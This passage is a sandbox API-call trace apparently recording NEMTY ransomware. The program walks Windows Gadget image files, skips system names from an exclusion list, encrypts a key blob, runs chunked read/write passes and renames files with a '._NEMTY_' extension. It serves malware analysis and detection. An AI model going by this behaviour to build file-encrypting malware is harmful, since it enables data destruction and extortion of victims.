lstrcmpiW (lpString1="Gadget_Star_Full.png", lpString2="appdata") returned 1 [0132.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Full.png", lpUsedDefaultChar=0x0) returned 20 [0132.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Full.png", lpUsedDefaultChar=0x0) returned 20 [0132.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Full.png", lpUsedDefaultChar=0x0) returned 20 [0132.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Full.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Full.png", lpUsedDefaultChar=0x0) returned 20 [0132.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0132.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0132.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0132.584] Sleep (dwMilliseconds=0x5) [0132.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ae6c30, dwHighDateTime=0x1d561e8)) [0132.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ae6c30, dwHighDateTime=0x1d561e8)) [0132.598] GetLastError () returned 0x5 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.598] GetLastError () returned 0x5 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.598] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.598] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.598] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0132.598] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="72DGkNs/duIeDTadFRmUYULUw+bVQxYM8u/nonHPo5q3SMHue32LdetTef86grT/\r\n2sM79Prg9hu7ojdDWx4UkibMp4DUI2pYhIaL4eue/lVPjYb7xuuLa8Mrl5yYqGiN\r\nVJzLiolUmiwZJ2NnspQlx7zSJj/XTBPOyW46fS9Ie4EimbSFLkS52e3eJHFo/Hi6\r\nyNgeMu4cD/pNpcXNIsdwy31dSF2GcGvBjti2CA9uEJCoel6eZ8DbXNKZgCHpPmMG\r\nh3G+OlFA8vN4AiWMajTI2XO9MvXOvHLWkZdWoZjJ5W4PDMuPAVN/fMpbWH5kIywn\r\n7DVAtFhm0OsAI7jGlWzUTw==\r\n", pcchString=0x653e91c) returned 1 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0132.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0132.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.599] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.599] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.713] CloseHandle (hObject=0xffffffff) returned 0 [0132.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0132.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403e0 [0132.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404a8 [0132.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0132.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png._nemty_kgobjgd_")) returned 0 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.714] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Star_Half.png", cAlternateFileName="")) returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2=".") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="..") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="...") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="windows") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="$RECYCLE.BIN") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="rsa") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="NTDETECT.COM") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="ntldr") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="MSDOS.SYS") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="IO.SYS") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="boot.ini") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="boot.ini") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="ntuser.dat") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="desktop.ini") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="CONFIG.SYS") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="RECYCLER") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="BOOTSECT.BAK") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="bootmgr") returned 1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="programdata") returned -1 [0132.714] lstrcmpiW (lpString1="Gadget_Star_Half.png", lpString2="appdata") returned 1 [0132.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Half.png", lpUsedDefaultChar=0x0) returned 20 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Half.png", lpUsedDefaultChar=0x0) returned 20 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 